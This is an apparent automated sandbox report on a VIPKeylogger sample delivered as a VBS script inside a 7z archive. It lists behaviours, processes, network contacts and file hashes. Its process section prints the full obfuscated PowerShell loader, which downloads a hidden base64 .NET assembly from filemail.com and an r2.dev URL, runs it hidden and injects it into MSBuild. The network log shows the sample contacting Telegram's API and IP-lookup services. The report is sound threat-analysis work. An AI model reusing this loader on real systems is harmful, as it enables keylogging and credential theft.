Analysis Overview
SHA256
48bb30fd0e12538f0e4fd35cfec2417a16902e1ef49f32b26bdd7a51344b324a
Threat Level: Known bad
The file 14112024_1557_14112024_INQ02010391_14112024.7z was found to be: Known bad.
Malicious Activity Summary
Vipkeylogger family
VIPKeylogger
Command and Scripting Interpreter: PowerShell
Blocklisted process makes network request
Checks computer location settings
Accesses Microsoft Outlook profiles
Looks up external IP address via web service
Suspicious use of SetThreadContext
System Location Discovery: System Language Discovery
Enumerates physical storage devices
Browser Information Discovery
Suspicious use of WriteProcessMemory
Suspicious use of AdjustPrivilegeToken
Suspicious behavior: EnumeratesProcesses
outlook_win_path
outlook_office_path
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-14 15:57
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-14 15:57
Reported
2024-11-14 16:02
Platform
win7-20241023-en
Max time kernel
121s
Max time network
122s
Command Line
Signatures
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1776 wrote to memory of 2672 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1776 wrote to memory of 2672 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1776 wrote to memory of 2672 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2672 wrote to memory of 1668 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2672 wrote to memory of 1668 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2672 wrote to memory of 1668 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\INQ02010391.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdKMFFpbWFnZVVybCA9IEk5Ymh0dHBzOi8nKycvMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXJysnbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3RHcm5USUNmRmhtVEtqM0xDJysnNlNRdCcrJ0ljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgSTliO0owUXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7SjBRaW1hZ2VCeScrJ3RlcyA9IEonKycwUXdlYkNsaWVudC5EJysnb3dubG9hZERhdGEoSjBRaW1hZ2VVcmwpO0owUWltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKEowUWltYScrJ2dlQnl0ZXMpO0owUXN0YScrJ3J0RmxhZyA9IEk5Yjw8QkFTRTYnKyc0X1MnKydUQVJUPj5JOWI7SjBRZW5kRmxhZyA9IEk5Yjw8QkFTRTY0X0VORD4+STliO0owUXN0YXJ0SW5kZXggPSBKMFEnKydpJysnbWFnZVRleHQuSW5kZXhPZihKMFFzdGFyJysndEZsYWcpOycrJ0owUWVuZEluZGV4ID0gSjBRaW1hZ2VUZXh0LkluZGV4T2YoSjBRZW5kRmxhZyk7SjBRc3RhcnRJbmRleCAtZ2UgMCAtYW4nKydkIEowUWVuZEluZGV4IC1ndCBKMFFzdGFydEluZGV4O0owUXN0YXJ0SW5kZXgnKycgKz0gSjBRc3RhcnRGbGFnLkxlbmd0aDtKMFFiYXNlNjRMZW5ndGggPSBKMFFlbmRJbmRleCAtIEowUXN0YXJ0SW5kZXg7SjBRYicrJ2FzZTY0Q29tbWFuZCA9IEowUWltYWdlVGV4dC5TdWJzdHJpbmcnKycoSjBRc3RhcnRJbmRleCwgSjBRYmFzZTY0TGVuZ3RoKTtKMFFiYXNlNjRSZXZlcnNlZCA9IC1qb2luIChKMFFiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgRW04IEZvckVhY2gtT2JqZWN0IHsgSjBRXyB9KVstMS4uLShKMFFiYXNlNjRDb21tYW5kLkxlbmd0aCldO0owUWNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoSjBRYmFzZTY0UmV2ZXJzZWQpO0owUWxvYScrJ2RlZEFzJysnc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChKMFFjb21tYW5kQnl0ZXMpO0owUXZhaU1ldGhvZCAnKyc9IFtkbicrJ2xpYi5JTy5Ib21lXS5HZXRNZXRob2QoSTliVkFJSTliKTtKMFF2YWlNZXRob2QuSW52b2tlKEowUW51bGwsIEAoSTlidHh0LmNlYS92ZWQuMnIuZDQzOGY3MScrJzU1Y2M2ZWVhOTJkMTRlNjA3NycrJzM3MjgxYzQtYnVwLy86c3B0dGhJOWIsIEk5YmRlc2F0aXZhZG9JOWIsIEk5YmRlc2F0aXZhZG9JOWIsIEk5YmRlc2F0aXZhZG9JOWIsIEk5Yk1TQnVpbGRJOWIsIEk5YmRlc2F0aXYnKydhZG9JOWIsIEk5YmRlc2F0aXZhZG9JOWIsSTliZGVzYXRpdmFkb0k5YixJOWJkZXNhdGl2YWRvSTliLEk5YmRlc2F0aXZhZG9JOWIsSTliZGVzYXRpdicrJ2Fkb0k5YixJOWJkZXNhdGl2YWRvSTliLEk5YjFJOWIsSTliZGVzYXRpdmFkb0k5YikpOycpLlJlUGxBQ2UoJ0owUScsW1N0UmlOZ11bY2hhcl0zNikuUmVQbEFDZSgnSTliJyxbU3RSaU5nXVtjaGFyXTM5KS5SZVBsQUNlKChbY2hhcl02OStbY2hhcl0xMDkrW2NoYXJdNTYpLFtTdFJpTmddW2NoYXJdMTI0KXxJRXg=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('J0QimageUrl = I9bhttps:/'+'/1017.filemail.com/api/file/get?filekey=2Aa_bW'+'o9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC'+'6SQt'+'IcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f I9b;J0QwebClient = New-Object System.Net.WebClient;J0QimageBy'+'tes = J'+'0QwebClient.D'+'ownloadData(J0QimageUrl);J0QimageText = [System.Text.Encoding]::UTF8.GetString(J0Qima'+'geBytes);J0Qsta'+'rtFlag = I9b<<BASE6'+'4_S'+'TART>>I9b;J0QendFlag = I9b<<BASE64_END>>I9b;J0QstartIndex = J0Q'+'i'+'mageText.IndexOf(J0Qstar'+'tFlag);'+'J0QendIndex = J0QimageText.IndexOf(J0QendFlag);J0QstartIndex -ge 0 -an'+'d J0QendIndex -gt J0QstartIndex;J0QstartIndex'+' += J0QstartFlag.Length;J0Qbase64Length = J0QendIndex - J0QstartIndex;J0Qb'+'ase64Command = J0QimageText.Substring'+'(J0QstartIndex, J0Qbase64Length);J0Qbase64Reversed = -join (J0Qbase64Command.ToCharArray() Em8 ForEach-Object { J0Q_ })[-1..-(J0Qbase64Command.Length)];J0QcommandBytes = [System.Convert]::FromBase64String(J0Qbase64Reversed);J0Qloa'+'dedAs'+'sembly = [System.Reflection.Assembly]::Load(J0QcommandBytes);J0QvaiMethod '+'= [dn'+'lib.IO.Home].GetMethod(I9bVAII9b);J0QvaiMethod.Invoke(J0Qnull, @(I9btxt.cea/ved.2r.d438f71'+'55cc6eea92d14e6077'+'37281c4-bup//:sptthI9b, I9bdesativadoI9b, I9bdesativadoI9b, I9bdesativadoI9b, I9bMSBuildI9b, I9bdesativ'+'adoI9b, I9bdesativadoI9b,I9bdesativadoI9b,I9bdesativadoI9b,I9bdesativadoI9b,I9bdesativ'+'adoI9b,I9bdesativadoI9b,I9b1I9b,I9bdesativadoI9b));').RePlACe('J0Q',[StRiNg][char]36).RePlACe('I9b',[StRiNg][char]39).RePlACe(([char]69+[char]109+[char]56),[StRiNg][char]124)|IEx"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 1017.filemail.com | udp |
| US | 142.215.209.78:443 | 1017.filemail.com | tcp |
| US | 142.215.209.78:443 | 1017.filemail.com | tcp |
Files
memory/2672-4-0x000007FEF5BEE000-0x000007FEF5BEF000-memory.dmp
memory/2672-5-0x000000001B640000-0x000000001B922000-memory.dmp
memory/2672-6-0x0000000001D90000-0x0000000001D98000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
| MD5 | bc940bd93a8bf83d9f1544d4c3575e31 |
| SHA1 | e644fd2ebe7dba0ebb54af653d69559389955247 |
| SHA256 | a1539573641a04d6093d48b9fd2292920f268fb6173a3423cf10a406e667309d |
| SHA512 | 3cbe7116201dd67c4f11d98a7b6925555920f6b7ccb9a4a82480426762d80418e2d1e025c480cebe40e43e08071c34575d4ced7222b8c75451ceb7e05bb028dd |
memory/2672-12-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp
memory/2672-13-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp
memory/2672-14-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-14 15:57
Reported
2024-11-14 16:02
Platform
win10v2004-20241007-en
Max time kernel
119s
Max time network
204s
Command Line
Signatures
VIPKeylogger
Vipkeylogger family
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Accesses Microsoft Outlook profiles
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | checkip.dyndns.org | N/A | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 720 set thread context of 2568 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe |
Browser Information Discovery
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | N/A |
Suspicious use of WriteProcessMemory
outlook_office_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | N/A |
outlook_win_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | N/A |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\INQ02010391.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdKMFFpbWFnZVVybCA9IEk5Ymh0dHBzOi8nKycvMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXJysnbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3RHcm5USUNmRmhtVEtqM0xDJysnNlNRdCcrJ0ljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgSTliO0owUXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7SjBRaW1hZ2VCeScrJ3RlcyA9IEonKycwUXdlYkNsaWVudC5EJysnb3dubG9hZERhdGEoSjBRaW1hZ2VVcmwpO0owUWltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKEowUWltYScrJ2dlQnl0ZXMpO0owUXN0YScrJ3J0RmxhZyA9IEk5Yjw8QkFTRTYnKyc0X1MnKydUQVJUPj5JOWI7SjBRZW5kRmxhZyA9IEk5Yjw8QkFTRTY0X0VORD4+STliO0owUXN0YXJ0SW5kZXggPSBKMFEnKydpJysnbWFnZVRleHQuSW5kZXhPZihKMFFzdGFyJysndEZsYWcpOycrJ0owUWVuZEluZGV4ID0gSjBRaW1hZ2VUZXh0LkluZGV4T2YoSjBRZW5kRmxhZyk7SjBRc3RhcnRJbmRleCAtZ2UgMCAtYW4nKydkIEowUWVuZEluZGV4IC1ndCBKMFFzdGFydEluZGV4O0owUXN0YXJ0SW5kZXgnKycgKz0gSjBRc3RhcnRGbGFnLkxlbmd0aDtKMFFiYXNlNjRMZW5ndGggPSBKMFFlbmRJbmRleCAtIEowUXN0YXJ0SW5kZXg7SjBRYicrJ2FzZTY0Q29tbWFuZCA9IEowUWltYWdlVGV4dC5TdWJzdHJpbmcnKycoSjBRc3RhcnRJbmRleCwgSjBRYmFzZTY0TGVuZ3RoKTtKMFFiYXNlNjRSZXZlcnNlZCA9IC1qb2luIChKMFFiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgRW04IEZvckVhY2gtT2JqZWN0IHsgSjBRXyB9KVstMS4uLShKMFFiYXNlNjRDb21tYW5kLkxlbmd0aCldO0owUWNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoSjBRYmFzZTY0UmV2ZXJzZWQpO0owUWxvYScrJ2RlZEFzJysnc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChKMFFjb21tYW5kQnl0ZXMpO0owUXZhaU1ldGhvZCAnKyc9IFtkbicrJ2xpYi5JTy5Ib21lXS5HZXRNZXRob2QoSTliVkFJSTliKTtKMFF2YWlNZXRob2QuSW52b2tlKEowUW51bGwsIEAoSTlidHh0LmNlYS92ZWQuMnIuZDQzOGY3MScrJzU1Y2M2ZWVhOTJkMTRlNjA3NycrJzM3MjgxYzQtYnVwLy86c3B0dGhJOWIsIEk5YmRlc2F0aXZhZG9JOWIsIEk5YmRlc2F0aXZhZG9JOWIsIEk5YmRlc2F0aXZhZG9JOWIsIEk5Yk1TQnVpbGRJOWIsIEk5YmRlc2F0aXYnKydhZG9JOWIsIEk5YmRlc2F0aXZhZG9JOWIsSTliZGVzYXRpdmFkb0k5YixJOWJkZXNhdGl2YWRvSTliLEk5YmRlc2F0aXZhZG9JOWIsSTliZGVzYXRpdicrJ2Fkb0k5YixJOWJkZXNhdGl2YWRvSTliLEk5YjFJOWIsSTliZGVzYXRpdmFkb0k5YikpOycpLlJlUGxBQ2UoJ0owUScsW1N0UmlOZ11bY2hhcl0zNikuUmVQbEFDZSgnSTliJyxbU3RSaU5nXVtjaGFyXTM5KS5SZVBsQUNlKChbY2hhcl02OStbY2hhcl0xMDkrW2NoYXJdNTYpLFtTdFJpTmddW2NoYXJdMTI0KXxJRXg=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('J0QimageUrl = I9bhttps:/'+'/1017.filemail.com/api/file/get?filekey=2Aa_bW'+'o9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC'+'6SQt'+'IcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f I9b;J0QwebClient = New-Object System.Net.WebClient;J0QimageBy'+'tes = J'+'0QwebClient.D'+'ownloadData(J0QimageUrl);J0QimageText = [System.Text.Encoding]::UTF8.GetString(J0Qima'+'geBytes);J0Qsta'+'rtFlag = I9b<<BASE6'+'4_S'+'TART>>I9b;J0QendFlag = I9b<<BASE64_END>>I9b;J0QstartIndex = J0Q'+'i'+'mageText.IndexOf(J0Qstar'+'tFlag);'+'J0QendIndex = J0QimageText.IndexOf(J0QendFlag);J0QstartIndex -ge 0 -an'+'d J0QendIndex -gt J0QstartIndex;J0QstartIndex'+' += J0QstartFlag.Length;J0Qbase64Length = J0QendIndex - J0QstartIndex;J0Qb'+'ase64Command = J0QimageText.Substring'+'(J0QstartIndex, J0Qbase64Length);J0Qbase64Reversed = -join (J0Qbase64Command.ToCharArray() Em8 ForEach-Object { J0Q_ })[-1..-(J0Qbase64Command.Length)];J0QcommandBytes = [System.Convert]::FromBase64String(J0Qbase64Reversed);J0Qloa'+'dedAs'+'sembly = [System.Reflection.Assembly]::Load(J0QcommandBytes);J0QvaiMethod '+'= [dn'+'lib.IO.Home].GetMethod(I9bVAII9b);J0QvaiMethod.Invoke(J0Qnull, @(I9btxt.cea/ved.2r.d438f71'+'55cc6eea92d14e6077'+'37281c4-bup//:sptthI9b, I9bdesativadoI9b, I9bdesativadoI9b, I9bdesativadoI9b, I9bMSBuildI9b, I9bdesativ'+'adoI9b, I9bdesativadoI9b,I9bdesativadoI9b,I9bdesativadoI9b,I9bdesativadoI9b,I9bdesativ'+'adoI9b,I9bdesativadoI9b,I9b1I9b,I9bdesativadoI9b));').RePlACe('J0Q',[StRiNg][char]36).RePlACe('I9b',[StRiNg][char]39).RePlACe(([char]69+[char]109+[char]56),[StRiNg][char]124)|IEx"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 228.249.119.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 1017.filemail.com | udp |
| US | 142.215.209.78:443 | 1017.filemail.com | tcp |
| US | 8.8.8.8:53 | 76.210.23.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 78.209.215.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 73.31.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 154.239.44.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | pub-4c182737706e41d29aee6cc5517f834d.r2.dev | udp |
| US | 172.66.0.235:443 | pub-4c182737706e41d29aee6cc5517f834d.r2.dev | tcp |
| US | 8.8.8.8:53 | 149.220.183.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 235.0.66.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | checkip.dyndns.org | udp |
| JP | 132.226.8.169:80 | checkip.dyndns.org | tcp |
| US | 8.8.8.8:53 | 169.8.226.132.in-addr.arpa | udp |
| US | 8.8.8.8:53 | reallyfreegeoip.org | udp |
| US | 172.67.177.134:443 | reallyfreegeoip.org | tcp |
| US | 8.8.8.8:53 | 134.177.67.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | api.telegram.org | udp |
| NL | 149.154.167.220:443 | api.telegram.org | tcp |
| US | 8.8.8.8:53 | 220.167.154.149.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 197.87.175.4.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.187.3.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 65.139.73.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 96.210.23.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 85.49.80.91.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 11.227.111.52.in-addr.arpa | udp |
Files
memory/4352-0-0x00007FFFE13C3000-0x00007FFFE13C5000-memory.dmp
memory/4352-1-0x0000029539AE0000-0x0000029539B02000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dd1duux4.zgr.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4352-11-0x00007FFFE13C0000-0x00007FFFE1E81000-memory.dmp
memory/4352-12-0x00007FFFE13C0000-0x00007FFFE1E81000-memory.dmp
memory/4352-22-0x00007FFFE13C0000-0x00007FFFE1E81000-memory.dmp
memory/720-23-0x000001CCF8360000-0x000001CCF84B8000-memory.dmp
memory/2568-24-0x0000000000400000-0x0000000000448000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | f41839a3fe2888c8b3050197bc9a0a05 |
| SHA1 | 0798941aaf7a53a11ea9ed589752890aee069729 |
| SHA256 | 224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a |
| SHA512 | 2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | feadc4e1a70c13480ef147aca0c47bc0 |
| SHA1 | d7a5084c93842a290b24dacec0cd3904c2266819 |
| SHA256 | 5b4f1fe7ba74b245b6368dbe4ceffa438f14eef08ba270e9a13c57505c7717ac |
| SHA512 | c9681a19c773891808fefa9445cea598d118c83bba89530a51ab993adbff39bce72b43f8e99d0c68e4a44f7e0f4c8ec128641c45cd557a8e1215721d5d992a23 |
memory/4352-30-0x00007FFFE13C0000-0x00007FFFE1E81000-memory.dmp
memory/2568-31-0x0000000005AA0000-0x0000000006044000-memory.dmp
memory/2568-32-0x0000000005590000-0x000000000562C000-memory.dmp
memory/2568-33-0x0000000006B20000-0x0000000006CE2000-memory.dmp
memory/2568-34-0x00000000069B0000-0x0000000006A00000-memory.dmp
memory/2568-35-0x0000000006CF0000-0x0000000006D82000-memory.dmp
memory/2568-36-0x0000000006AC0000-0x0000000006ACA000-memory.dmp